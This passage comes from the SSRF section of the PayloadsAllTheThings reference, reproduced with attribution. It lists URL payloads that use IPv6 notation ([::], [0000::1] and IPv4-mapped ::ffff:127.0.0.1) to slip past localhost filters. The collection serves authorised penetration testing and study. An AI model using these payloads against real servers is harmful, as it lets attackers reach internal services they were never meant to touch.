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Server Side Request Forgery · passage 4 of 53

Bypass Localhost with IPv6 Notation

Text · Server Side Request Forgery/README.md

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* Using unspecified address in IPv6 `[::]` ```powershell http://[::]:80/ ``` * Using IPv6 loopback addres`[0000::1]` ```powershell http://[0000::1]:80/ ``` * Using [IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm) ```powershell http://[0:0:0:0:0:ffff:127.0.0.1] http://[::ffff:127.0.0.1] ```

Source: Server Side Request Forgery/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.